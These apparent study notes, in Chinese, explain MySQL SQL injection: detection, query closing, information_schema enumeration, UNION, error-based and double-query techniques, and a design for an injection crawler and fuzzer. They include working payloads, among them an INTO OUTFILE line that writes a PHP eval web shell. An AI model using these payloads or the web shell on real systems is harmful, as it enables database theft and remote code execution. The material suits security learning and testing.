SQL注入

什么是 SQL 注入

  • 服务器没有严格的校验客户端发送的数据,导致将用户精心构造的数据作为 SQL 语句的一部分执行,从而使数据库信息泄露或被修改。

SQL 注入的发现流程

  1. 确认目标网页是动态的,网页能够接收用户的参数,并作出不同的反应。
  2. 精心的构造一个绝对会导致SQL语句执行出错的参数[‘“()],查看是否有影响。
  3. 根据报错信息或以其它方式猜测目标 SQL 指令的结构,【确认闭合的状态】。

如何闭合语句

  • 如果有报错,根据报错猜测目标 SQL 指令的完整构成,猜测注入类型(数字\字符)
  • 对于 syntax to use near ‘“()’ LIMIT 0,1 ‘ 报错信息,截取出 near 后面的一部分
  • 闭合之后,为了让代码正常执行,需要将后面的内容注释掉,使用 或者 %
    • 对于 % 不能直接写在 url 中,它会被作为 id 来跳转,应该卸载 url 编码 %23
    • 对于 —,我们推荐使用,注意需要在 — 后面添加空格,可以写作 —+

      能够获取什么信息

  • 在确认目标网页已经存在注入漏洞,且能够正常闭合后,能够获取以及如何获取哪些重要的信息
  • 直接使用 SQL 提供的内置函数获取到数据库的基本信息,例如:
    • database(): 当前应用程序所使用的数据库的名称。
    • version(): 获取当前所使用的数据库的版本,可用于确认数据库类型,找 0DAY。
    • 根据不同类型的数据库,可能会提供不同的用于获取基本信息的函数。
  • 数据库都存在配置信息表,其中保存了数据库、表和字段的所有信息

    • 枚举库:

      1. SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;
    • 枚举表:

      1. SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE();
    • 枚举项:

      1. SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='users' AND TABLE_SCHEMA='security';

      如何获取想要的数据

  • 使用联合查询注入的过程(有回显)
    1. 使用联合查询(union select)或排序(order by)的方式获取目标的字段数量。
      • union select 要求联合查询的两条 SQL 语句查询的字段数量是相同
      • order by 要求指定的需要排序的字段必须是有效的数字或名称
    2. 如果网页始终返回仅 1 条数据,则将默认的查询设置为无效查询
      • 联合查询会将两条语句的结果组合成一个结果集
      • 如果原指令查询结果为空,则显示的是自己的查询结果
    3. 根据页面反馈的内容,确定哪些字段是可利用字段。
      • 查询的字段并不一定会显示出来,只有看得到的才会被替换。
    4. 将第 3 步确定的有效字段修改为想要查询的函数,或子语句进行利用
  • 使用产生报错的语句进行注入(有报错)

    • 已知闭合方式后,使用联合查询语句配合函数或指定语句完成利用
    • updatexml(字符串,xpath,字符串) \ extractvalue(字符串, xpath):
      • 函数的作用是查找符合 xpath 语法的子串进行替换。xpath 有规定的格式,如果格式出现了问题,会将出现问题的语句显示在报错信息中。
      • 为了获取想要的信息,需要使用一个必然出错的字符(‘~’ 0x7C) 拼接想要查询的语句,使报错语句中出现查询的结果,例如 updatexml(0, CONCAT(0x7c, (SELECT version())), 0)
    • 使用双注入的方式:

      1. SELECT COUNT(*) FROM information_schema.columns GROUP BY FLOOR(RAND(0)*2);
      • FLOOR(RAND(0)*2): 生成指定顺序的 0~1 组成的序列:0110110011101
      • GROUP BY 和 COUNT() 的组合会使用 mysql 中的*虚拟表来实现。
        1. 第一次判断 FLOOR(RAND(0)*2[0] 是否已经存在对应的虚拟表(没有)
        2. 使用 FLOOR(RAND(0)*2[1] 表达式的结果创建一个虚拟表,并计数
        3. 第二次判断 FLOOR(RAND(0)*2[1] 是否已经存在对应的虚拟表(有)
        4. 将对应的虚拟表计数 +1
        5. 第三次判断 FLOOR(RAND(0)*2[0] 是否已经存在对应的虚拟表(没有)
        6. 使用 FLOOR(RAND(0)*2[1] 表达式的结果创建一个虚拟表,并计数
        7. 但是表1已经存在了,所以报错
        8. 1: **
        9. 0110110011101
    • 报错注入的缺陷:报错的长度不能超过 32 位,所以一次只能获取 32 位数据

      1. and updatexml(0, concat(0x7e, (SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES)),0)--+
      2. and updatexml(0, concat(0x7e, substr((SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES), 1, 31)),0)--+
  • 使用写入文件的方式注入(开启了权限)

    • 通过设置 mysql 路径下的 ini 文件添加 secure-file-priv= 开启写入文件
    • 语法格式是 SELECT * INTO OUTFILE ‘绝对地址’,要求必须是绝对地址
    • 危害:受限任意代码执行漏洞
      • UNION SELECT ‘<?php phpinfo(); ?>’,0,0 into outfile ‘绝对路径’ —+
      • UNION SELECT “<?php @eval($_GET[‘cmd’]); ?>”,0,0 into outfile ‘绝对路径’ —+

        SQL注入的常见函数

  • GROUP_CONCAT():将查询到的所有指定字段拼接成一个字符串

  • CONCAT(): 将制定的普通字符串进行拼接,多用于报错注入
  • FLOOR(): 向下取整函数,主要用于舍去小数点部分
  • RAND(): 随机数函数,不传参默认初始化随机数种子,为了每一次成功,必须写 0。
  • COUNT(): 聚合函数,在分组查询的时候会使用到。
  • SUBSTR() \ SUBSTRING: 将指定的字符串进行拆分,报错注入使用较多

SQL 注入漏洞查找工具

  1. 爬取目标网站的所有页面(站内链接、站外的链接)
    • 使用 re 模块:re.findall(html, ‘href=”.*?”‘),
    • 使用 bs 模块:bs.select(‘a’)
  2. 爬取路径的过程中,需要注意
    • 去重,将所有的重复链接去除掉,可以使用 set
    • 注意绝对路径(直接访问)和相对路径(拼接),才能够正常访问
  3. 取出每一个链接,进行 FUZZING(枚举)
    • 是否存在布尔注入漏洞,?id=1 and 1 ?id=1 and 0
    • 判断是否有返回内容: 联合查询注入
    • 判断是否有报错信息: 报错注入
    • 进行盲注: 布尔盲注和时间盲注